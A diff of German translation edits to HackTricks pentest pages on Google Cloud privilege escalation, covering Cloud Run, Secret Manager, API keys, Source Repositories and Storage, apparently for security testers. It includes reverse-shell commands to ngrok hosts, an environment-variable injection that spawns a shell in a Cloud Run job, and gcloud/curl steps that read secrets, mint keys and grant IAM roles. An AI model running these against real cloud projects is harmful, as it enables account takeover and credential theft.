- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
Für weitere Informationen zu Cloud Run siehe:
|
||||
Für mehr Informationen über Cloud Run siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
@@ -12,15 +12,18 @@ Für weitere Informationen zu Cloud Run siehe:
|
||||
|
||||
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen kann **einen Run-Dienst erstellen, der beliebigen Code ausführt** (beliebiger Docker-Container), ein Dienstkonto daran anhängen und den Code **das Dienstkonto-Token aus den Metadaten exfiltrieren** lassen.
|
||||
Ein Angreifer mit diesen Berechtigungen kann **create a run service running arbitrary code** (arbitrary Docker container), ein Service Account daran anhängen und den Code dazu bringen, das Service Account token aus der metadata zu exfiltrate.
|
||||
|
||||
Ein Exploit-Skript für diese Methode ist [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) zu finden, und das Docker-Image ist [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage) zu finden.
|
||||
An Exploit-Skript für diese Methode ist [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) zu finden und das Docker-Image ist [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage) zu finden.
|
||||
|
||||
Beachte, dass beim Einsatz von `gcloud run deploy` anstelle der bloßen Erstellung des Dienstes **die Berechtigung `update` benötigt wird**. Siehe ein [**Beispiel hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
Beachte, dass beim Verwenden von `gcloud run deploy` anstatt nur den Service zu erstellen **die `update` permission** benötigt wird. Schau dir ein [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh) an.
|
||||
|
||||
### `run.services.update` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Wie der vorherige, aber zum Aktualisieren eines Dienstes:
|
||||
Wie das vorherige, aber zum Aktualisieren eines Service:
|
||||
|
||||
<details>
|
||||
<summary>Deploy Cloud Run service with reverse shell</summary>
|
||||
```bash
|
||||
# Launch some web server to listen in port 80 so the service works
|
||||
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
|
||||
@@ -36,13 +39,18 @@ gcloud run deploy hacked \
|
||||
|
||||
# If you don't have permissions to use "--allow-unauthenticated", dont use it
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.services.setIamPolicy`
|
||||
|
||||
Geben Sie sich vorherige Berechtigungen über Cloud Run.
|
||||
Verschaffe dir zuvor benötigte Berechtigungen für Cloud Run.
|
||||
|
||||
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Starten Sie einen Job mit einer Reverse-Shell, um das im Befehl angegebene Dienstkonto zu stehlen. Sie finden einen [**Exploit hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
Starte einen Job mit einer reverse shell, um das im Befehl angegebene Service-Konto zu stehlen. Du findest ein [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
|
||||
<details>
|
||||
<summary>Erstelle einen Cloud Run-Job mit reverse shell</summary>
|
||||
```bash
|
||||
gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--image=ubuntu:latest \
|
||||
@@ -52,9 +60,14 @@ gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--region=us-central1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Ähnlich wie beim vorherigen ist es möglich, **einen Job zu aktualisieren und das SA zu aktualisieren**, den **Befehl** **auszuführen**:
|
||||
Ähnlich wie beim vorherigen Beispiel ist es möglich, **einen Job und den SA zu aktualisieren**, den **Befehl** anzupassen und ihn **auszuführen**:
|
||||
|
||||
<details>
|
||||
<summary>Update Cloud Run job and execute with reverse shell</summary>
|
||||
```bash
|
||||
gcloud beta run jobs update hacked \
|
||||
--image=mubuntu:latest \
|
||||
@@ -64,16 +77,23 @@ gcloud beta run jobs update hacked \
|
||||
--region=us-central1 \
|
||||
--execute-now
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.setIamPolicy`
|
||||
|
||||
Geben Sie sich die vorherigen Berechtigungen über Cloud Jobs.
|
||||
Erteile dir selbst die zuvor genannten Berechtigungen für Cloud Jobs.
|
||||
|
||||
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
|
||||
|
||||
Missbrauchen Sie die Umgebungsvariablen einer Jobausführung, um beliebigen Code auszuführen und eine Reverse-Shell zu erhalten, um den Inhalt des Containers (Quellcode) zu dumpen und auf die SA innerhalb der Metadaten zuzugreifen:
|
||||
Missbrauche die env variables einer Job-Ausführung, um beliebigen Code auszuführen und eine reverse shell zu erhalten, damit du den Inhalt des Containers (source code) auslesen und auf das SA im metadata zugreifen kannst:
|
||||
|
||||
<details>
|
||||
<summary>Execute Cloud Run job with environment variable exploitation</summary>
|
||||
```bash
|
||||
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
+12
-4
@@ -4,7 +4,7 @@
|
||||
|
||||
## secretmanager
|
||||
|
||||
Für weitere Informationen über secretmanager:
|
||||
Weitere Informationen über secretmanager:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,12 +12,16 @@ Für weitere Informationen über secretmanager:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
Dies gibt Ihnen Zugriff auf das Lesen der Geheimnisse aus dem Secret Manager und könnte möglicherweise helfen, Privilegien zu eskalieren (je nachdem, welche Informationen im Geheimnis gespeichert sind):
|
||||
Dies gibt dir Zugriff, die Secrets aus dem secret manager zu lesen und könnte dabei helfen, Privilegien zu eskalieren (abhängig davon, welche Informationen im Secret gespeichert sind):
|
||||
|
||||
<details><summary>Klartext-Version eines Secrets abrufen</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
Da dies auch eine Post-Exploitation-Technik ist, kann sie gefunden werden in:
|
||||
</details>
|
||||
|
||||
Da dies auch eine post exploitation technique ist, findet es sich in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
|
||||
@@ -25,10 +29,14 @@ Da dies auch eine Post-Exploitation-Technik ist, kann sie gefunden werden in:
|
||||
|
||||
### `secretmanager.secrets.setIamPolicy`
|
||||
|
||||
Dies gibt Ihnen Zugriff, um die Geheimnisse aus dem Secret Manager zu lesen, wie zum Beispiel:
|
||||
Dies ermöglicht Ihnen, die Secrets aus dem secret manager zu lesen, z. B. mit:
|
||||
|
||||
<details><summary>IAM policy binding zum secret hinzufügen</summary>
|
||||
```bash
|
||||
gcloud secrets add-iam-policy-binding <scret-name> \
|
||||
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+20
-12
@@ -4,11 +4,11 @@
|
||||
|
||||
## serviceusage
|
||||
|
||||
Die folgenden Berechtigungen sind nützlich, um API-Schlüssel zu erstellen und zu stehlen, beachten Sie dies aus den Dokumenten: _Ein API-Schlüssel ist eine einfache verschlüsselte Zeichenfolge, die **eine Anwendung ohne ein Prinzipal identifiziert**. Sie sind nützlich, um **öffentliche Daten anonym** abzurufen, und werden verwendet, um API-Anfragen mit Ihrem Projekt für Quoten und **Abrechnung** zu **verknüpfen**._
|
||||
Die folgenden Berechtigungen sind nützlich, um API keys zu erstellen und zu stehlen. Beachte dies aus der Dokumentation: _Ein API key ist eine einfache verschlüsselte Zeichenfolge, die **eine Anwendung ohne Principal identifiziert**. Sie sind nützlich, um **öffentliche Daten anonym** abzurufen, und werden verwendet, um API-Anfragen mit deinem Projekt für Kontingente zu **verknüpfen** und für die **Abrechnung**._
|
||||
|
||||
Daher können Sie mit einem API-Schlüssel das Unternehmen für Ihre Nutzung der API bezahlen lassen, aber Sie werden keine Berechtigungen eskalieren können.
|
||||
Daher kannst du mit einem API key das Unternehmen die Nutzung der API bezahlen lassen, aber du wirst damit keine Privilegien eskalieren können.
|
||||
|
||||
Um andere Berechtigungen und Möglichkeiten zur Generierung von API-Schlüsseln zu lernen, überprüfen Sie:
|
||||
Um andere Berechtigungen und Möglichkeiten zur Generierung von API keys zu erfahren, siehe:
|
||||
|
||||
{{#ref}}
|
||||
gcp-apikeys-privesc.md
|
||||
@@ -16,21 +16,29 @@ gcp-apikeys-privesc.md
|
||||
|
||||
### `serviceusage.apiKeys.create`
|
||||
|
||||
Eine nicht dokumentierte API wurde gefunden, die verwendet werden kann, um **API-Schlüssel zu erstellen:**
|
||||
Eine undokumentierte API wurde gefunden, die verwendet werden kann, um **API keys zu erstellen:**
|
||||
|
||||
<details><summary>Create API key using undocumented API</summary>
|
||||
```bash
|
||||
curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `serviceusage.apiKeys.list`
|
||||
|
||||
Eine weitere undocumented API wurde gefunden, um API-Schlüssel aufzulisten, die bereits erstellt wurden (die API-Schlüssel erscheinen in der Antwort):
|
||||
Eine weitere undokumentierte API wurde gefunden, um API keys aufzulisten, die bereits erstellt wurden (die API keys erscheinen in der Antwort):
|
||||
|
||||
<details><summary>List API keys using undocumented API</summary>
|
||||
```bash
|
||||
curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
</details>
|
||||
|
||||
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
|
||||
|
||||
Mit diesen Berechtigungen kann ein Angreifer neue Dienste im Projekt aktivieren und nutzen. Dies könnte es einem **Angreifer ermöglichen, Dienste wie admin oder cloudidentity zu aktivieren**, um zu versuchen, auf Workspace-Informationen zuzugreifen, oder andere Dienste, um auf interessante Daten zuzugreifen.
|
||||
Mit diesen Berechtigungen kann ein Angreifer neue Services im Projekt aktivieren und nutzen. Dadurch könnte ein **Angreifer Services wie admin oder cloudidentity aktivieren**, um zu versuchen, auf Workspace-Informationen zuzugreifen, oder andere Services nutzen, um an interessante Daten zu gelangen.
|
||||
|
||||
## **References**
|
||||
## **Referenzen**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
@@ -38,15 +46,15 @@ Mit diesen Berechtigungen kann ein Angreifer neue Dienste im Projekt aktivieren
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
Arbeiten Sie in einem **Cybersecurity-Unternehmen**? Möchten Sie, dass Ihr **Unternehmen in HackTricks beworben wird**? Oder möchten Sie Zugang zur **neueste Version von PEASS oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
Arbeiten Sie in einer **Cybersicherheitsfirma**? Möchten Sie, dass Ihr **company advertised in HackTricks**? Oder möchten Sie Zugriff auf die **neueste Version der PEASS oder HackTricks als PDF herunterladen**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
Holen Sie sich die [**offiziellen PEASS & HackTricks Merchandise**](https://peass.creator-spring.com)
|
||||
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
**Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
**Trete der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) oder der [**telegram group**](https://t.me/peass) bei oder **folge** mir auf **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
**Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
**Teile deine Hacking-Tricks, indem du PRs zum** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
|
||||
**.**
|
||||
|
||||
|
||||
+30
-18
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Quell-Repository
|
||||
## Source Repositories
|
||||
|
||||
Für weitere Informationen zu Quell-Repositorys siehe:
|
||||
Für weitere Informationen zu Source Repositories siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-source-repositories-enum.md
|
||||
@@ -13,67 +13,79 @@ Für weitere Informationen zu Quell-Repositorys siehe:
|
||||
### `source.repos.get`
|
||||
|
||||
Mit dieser Berechtigung ist es möglich, das Repository lokal herunterzuladen:
|
||||
|
||||
<details><summary>Clone source repository</summary>
|
||||
```bash
|
||||
gcloud source repos clone <repo-name> --project=<project-uniq-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `source.repos.update`
|
||||
|
||||
Ein Principal mit dieser Berechtigung **wird in der Lage sein, Code in einem Repository zu schreiben, das mit `gcloud source repos clone <repo>` geklont wurde**. Beachten Sie jedoch, dass diese Berechtigung nicht an benutzerdefinierte Rollen angehängt werden kann, daher muss sie über eine vordefinierte Rolle vergeben werden, wie:
|
||||
Ein Principal mit dieser Berechtigung **wird in der Lage sein, Code in ein Repository zu schreiben, das mit `gcloud source repos clone <repo>` geklont wurde**. Beachte jedoch, dass diese Berechtigung nicht an benutzerdefinierte Rollen angehängt werden kann, sie muss also über eine vordefinierte Rolle vergeben werden, z. B.:
|
||||
|
||||
- Owner
|
||||
- Editor
|
||||
- Source Repository Administrator (`roles/source.admin`)
|
||||
- Source Repository Writer (`roles/source.writer`)
|
||||
|
||||
Um zu schreiben, führen Sie einfach einen regulären **`git push`** aus.
|
||||
Um zu schreiben, führe einfach ein normales **`git push`** aus.
|
||||
|
||||
### `source.repos.setIamPolicy`
|
||||
|
||||
Mit dieser Berechtigung könnte ein Angreifer sich selbst die vorherigen Berechtigungen gewähren.
|
||||
|
||||
### Geheimniszugriff
|
||||
### Secret access
|
||||
|
||||
Wenn der Angreifer **Zugriff auf die Geheimnisse** hat, in denen die Tokens gespeichert sind, wird er in der Lage sein, sie zu stehlen. Für weitere Informationen darüber, wie man auf ein Geheimnis zugreift, siehe:
|
||||
Wenn der Angreifer **Zugriff auf die Secrets** hat, in denen die Tokens gespeichert sind, kann er diese stehlen. Für mehr Infos darüber, wie man auf ein Secret zugreift, siehe:
|
||||
|
||||
{{#ref}}
|
||||
gcp-secretmanager-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### SSH-Schlüssel hinzufügen
|
||||
### Add SSH keys
|
||||
|
||||
Es ist möglich, **SSH-Schlüssel zum Source Repository-Projekt** in der Webkonsole hinzuzufügen. Es wird eine POST-Anfrage an **`/v1/sshKeys:add`** gesendet und kann unter [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys) konfiguriert werden.
|
||||
Es ist möglich, **SSH-Keys zum Source Repository Projekt** in der Web-Konsole hinzuzufügen. Dabei wird eine POST-Anfrage an **`/v1/sshKeys:add`** gesendet und das lässt sich unter https://source.cloud.google.com/user/ssh_keys konfigurieren
|
||||
|
||||
Sobald Ihr SSH-Schlüssel eingerichtet ist, können Sie auf ein Repository zugreifen mit:
|
||||
Sobald dein SSH-Key gesetzt ist, kannst du auf ein Repo zugreifen mit:
|
||||
|
||||
<details><summary>Repository mit SSH klonen</summary>
|
||||
```bash
|
||||
git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
|
||||
```
|
||||
Und dann verwenden Sie **`git`**-Befehle wie gewohnt.
|
||||
</details>
|
||||
|
||||
### Manuelle Anmeldeinformationen
|
||||
Und dann verwendet man wie gewohnt die **`git`**-Befehle.
|
||||
|
||||
Es ist möglich, manuelle Anmeldeinformationen zu erstellen, um auf die Source Repositories zuzugreifen:
|
||||
### Manual Credentials
|
||||
|
||||
Es ist möglich, manuelle Credentials zu erstellen, um auf die Source Repositories zuzugreifen:
|
||||
|
||||
<figure><img src="../../../images/image (324).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie auf den ersten Link klicken, werden Sie zu [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3) weitergeleitet.
|
||||
Ein Klick auf den ersten Link leitet dich zu [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3)
|
||||
|
||||
Dies wird ein **Oauth-Autorisierungsfenster** anzeigen, um Zugriff auf **Google Cloud Development** zu gewähren. Sie benötigen entweder die **Anmeldeinformationen des Benutzers** oder eine **offene Sitzung im Browser** dafür.
|
||||
Das öffnet ein **Oauth authorization prompt**, um Zugriff auf **Google Cloud Development** zu gewähren. Dafür benötigst du entweder die **Credentials des Benutzers** oder eine **offene Session im Browser**.
|
||||
|
||||
Dies wird Sie zu einer Seite mit einem **Bash-Skript zur Ausführung** und zur Konfiguration eines Git-Cookies in **`$HOME/.gitcookies`** senden.
|
||||
Das führt dich zu einer Seite mit einem **bash script to execute**, das ein Git-Cookie in **`$HOME/.gitcookies`** konfiguriert.
|
||||
|
||||
<figure><img src="../../../images/image (323).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Nachdem Sie das Skript ausgeführt haben, können Sie git clone, push... verwenden und es wird funktionieren.
|
||||
Wenn du das Script ausführst, kannst du anschließend git clone, push ... verwenden und es funktioniert.
|
||||
|
||||
### `source.repos.updateProjectConfig`
|
||||
|
||||
Mit dieser Berechtigung ist es möglich, den standardmäßigen Schutz der Source Repositories zu deaktivieren, um keinen Code hochzuladen, der Private Keys enthält:
|
||||
Mit dieser Berechtigung ist es möglich, den Standard-Schutz von Source Repositories zu deaktivieren, der verhindert, dass Code mit enthaltenen Private Keys hochgeladen wird:
|
||||
|
||||
<details><summary>Disable pushblock and modify pub/sub configuration</summary>
|
||||
```bash
|
||||
gcloud source project-configs update --disable-pushblock
|
||||
```
|
||||
Sie können auch ein anderes Pub/Sub-Thema konfigurieren oder es sogar vollständig deaktivieren:
|
||||
Sie können auch ein anderes pub/sub-Topic konfigurieren oder es sogar vollständig deaktivieren:
|
||||
```bash
|
||||
gcloud source project-configs update --remove-topic=REMOVE_TOPIC
|
||||
gcloud source project-configs update --remove-topic=UPDATE_TOPIC
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Storage
|
||||
|
||||
Grundinformationen:
|
||||
Basic Information:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,18 +12,18 @@ Grundinformationen:
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
Diese Berechtigung ermöglicht es Ihnen, **Dateien, die in Cloud Storage gespeichert sind, herunterzuladen**. Dies kann potenziell dazu führen, dass Sie Privilegien eskalieren, da in einigen Fällen **sensible Informationen dort gespeichert sind**. Darüber hinaus speichern einige GCP-Dienste ihre Informationen in Buckets:
|
||||
Diese Berechtigung erlaubt dir, **Dateien herunterzuladen, die in Cloud Storage gespeichert sind**. Dies kann dir potenziell erlauben, escalate privileges, da in einigen Fällen **sensible Informationen dort gespeichert werden**. Außerdem speichern einige GCP-Services ihre Informationen in Buckets:
|
||||
|
||||
- **GCP Composer**: Wenn Sie eine Composer-Umgebung erstellen, wird der **Code aller DAGs** in einem **Bucket** gespeichert. Diese Aufgaben könnten interessante Informationen in ihrem Code enthalten.
|
||||
- **GCR (Container Registry)**: Das **Image** der Container wird in **Buckets** gespeichert, was bedeutet, dass Sie, wenn Sie die Buckets lesen können, die Images herunterladen und **nach Leaks und/oder Quellcode suchen** können.
|
||||
- **GCP Composer**: Wenn du ein Composer Environment erstellst, wird der **Code aller DAGs** in einem **Bucket** gespeichert. Diese Tasks könnten interessante Informationen in ihrem Code enthalten.
|
||||
- **GCR (Container Registry)**: Die **Images** der Container werden in **Buckets** gespeichert, was bedeutet, dass du, wenn du die Buckets lesen kannst, die Images herunterladen und **nach leaks und/oder Quellcode** suchen kannst.
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
Sie können sich die Berechtigung geben, **jede der vorherigen Szenarien in diesem Abschnitt auszunutzen**.
|
||||
Damit kannst du dir die Berechtigung geben, **jede der vorherigen Szenarien dieses Abschnitts zu missbrauchen**.
|
||||
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
Für ein Beispiel, wie man Berechtigungen mit dieser Berechtigung ändert, schauen Sie sich diese Seite an:
|
||||
Ein Beispiel dafür, wie man Berechtigungen mit dieser Berechtigung ändert, findest du auf dieser Seite:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
|
||||
@@ -31,7 +31,9 @@ Für ein Beispiel, wie man Berechtigungen mit dieser Berechtigung ändert, schau
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Die "Interoperabilitäts"-Funktion von Cloud Storage, die für **Cross-Cloud-Interaktionen** wie mit AWS S3 entwickelt wurde, umfasst die **Erstellung von HMAC-Schlüsseln für Dienstkonten und Benutzer**. Ein Angreifer kann dies ausnutzen, indem er **einen HMAC-Schlüssel für ein Dienstkonto mit erhöhten Berechtigungen generiert**, wodurch er **die Privilegien innerhalb von Cloud Storage eskaliert**. Während HMAC-Schlüssel, die mit Benutzern verbunden sind, nur über die Webkonsole abgerufen werden können, bleiben sowohl die Zugriffs- als auch die geheimen Schlüssel **dauerhaft zugänglich**, was potenziellen Backup-Zugriffsspeicher ermöglicht. Im Gegensatz dazu sind HMAC-Schlüssel, die mit Dienstkonten verknüpft sind, API-zugänglich, aber ihre Zugriffs- und geheimen Schlüssel sind nach der Erstellung nicht mehr abrufbar, was eine zusätzliche Komplexität für den kontinuierlichen Zugriff hinzufügt.
|
||||
Die "interoperability"-Funktion von Cloud Storage, entwickelt für **cross-cloud interactions** wie mit AWS S3, beinhaltet die **Erstellung von HMAC keys für Service Accounts und Benutzer**. Ein Angreifer kann dies ausnutzen, indem er **einen HMAC key für einen Service Account mit elevated privileges erzeugt**, und dadurch **escalating privileges innerhalb von Cloud Storage** ermöglicht. Während HMAC keys, die Benutzern zugeordnet sind, nur über die Web-Konsole abrufbar sind, bleiben sowohl Access- als auch Secret-Keys **dauerhaft zugänglich**, was das Speichern von Backup-Zugängen erlaubt. Im Gegensatz dazu sind HMAC keys, die mit Service Accounts verknüpft sind, per API zugänglich, aber ihre Access- und Secret-Keys sind nach der Erstellung nicht mehr abrufbar, was die Aufrechterhaltung eines kontinuierlichen Zugangs erschwert.
|
||||
|
||||
<details><summary>Erstellen und Verwenden eines HMAC key für privilege escalation</summary>
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
@@ -61,52 +63,54 @@ gsutil ls gs://[BUCKET_NAME]
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
Ein weiteres Exploit-Skript für diese Methode kann [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) gefunden werden.
|
||||
</details>
|
||||
|
||||
## `storage.objects.create`, `storage.objects.delete` = Speicher Schreibberechtigungen
|
||||
Ein weiteres Exploit-Skript für diese Methode ist [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) zu finden.
|
||||
|
||||
Um ein **neues Objekt** in einem Bucket zu **erstellen**, benötigen Sie `storage.objects.create` und, gemäß [den Dokumenten](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), benötigen Sie auch `storage.objects.delete`, um ein bestehendes Objekt zu **ändern**.
|
||||
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
|
||||
|
||||
Eine sehr **häufige Ausnutzung** von Buckets, in die Sie in der Cloud schreiben können, ist der Fall, dass der **Bucket Webserver-Dateien speichert**. Sie könnten in der Lage sein, **neuen Code zu speichern**, der von der Webanwendung verwendet wird.
|
||||
Um ein **neues Objekt** in einem Bucket zu erstellen, benötigen Sie `storage.objects.create` und, laut [der Dokumentation](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), außerdem `storage.objects.delete`, um ein vorhandenes Objekt zu **ändern**.
|
||||
|
||||
Eine sehr **häufige Ausnutzung** von Buckets, in die man in der Cloud schreiben kann, ist der Fall, dass der **Bucket Webserver-Dateien speichert** — man könnte in der Lage sein, **neuen Code zu speichern**, der von der Webanwendung verwendet wird.
|
||||
|
||||
### Composer
|
||||
|
||||
**Composer** ist **Apache Airflow**, das innerhalb von GCP verwaltet wird. Es hat mehrere interessante Funktionen:
|
||||
**Composer** ist **Apache Airflow**, das in GCP verwaltet wird. Es hat mehrere interessante Eigenschaften:
|
||||
|
||||
- Es läuft innerhalb eines **GKE-Clusters**, sodass der **SA, den der Cluster verwendet, von dem Code, der innerhalb von Composer ausgeführt wird, zugänglich ist.**
|
||||
- Alle Komponenten einer Composer-Umgebung (**Code der DAGs**, Plugins und Daten) werden in einem GCP-Bucket gespeichert. Wenn der Angreifer Lese- und Schreibberechtigungen dafür hat, könnte er den Bucket überwachen und **immer wenn ein DAG erstellt oder aktualisiert wird, eine mit einem Backdoor versehenen Version einreichen**, sodass die Composer-Umgebung die Backdoor-Version aus dem Speicher erhält.
|
||||
- Es läuft innerhalb eines **GKE-Clusters**, daher ist die **vom Cluster verwendete SA vom in Composer ausgeführten Code aus zugänglich**.
|
||||
- Alle Komponenten einer Composer-Umgebung (**code of DAGs**, Plugins und Daten) werden in einem GCP-Bucket gespeichert. Wenn ein Angreifer Lese- und Schreibrechte darauf hat, könnte er den Bucket überwachen und **immer wenn ein DAG erstellt oder aktualisiert wird, eine backdoored Version einreichen**, sodass die Composer-Umgebung die backdoored Version aus dem Storage erhält.
|
||||
|
||||
**Sie finden einen PoC dieses Angriffs im Repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
Einen PoC dieses Angriffs findest du im Repo: [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Der Code von Cloud Functions wird im Storage gespeichert, und wann immer eine neue Version erstellt wird, wird der Code in den Bucket hochgeladen und dann wird der neue Container aus diesem Code erstellt. Daher ist es **möglich, den Code zu überschreiben, bevor die neue Version erstellt wird, um die Cloud-Funktion dazu zu bringen, beliebigen Code auszuführen**.
|
||||
- Der Code von Cloud Functions wird in Storage gespeichert und wann immer eine neue Version erstellt wird, wird der Code in den Bucket gepusht und daraus der neue Container gebaut. Daher ist es möglich, durch das Überschreiben des Codes, bevor die neue Version gebaut wird, die Cloud Function dazu zu bringen, arbitrary code auszuführen.
|
||||
|
||||
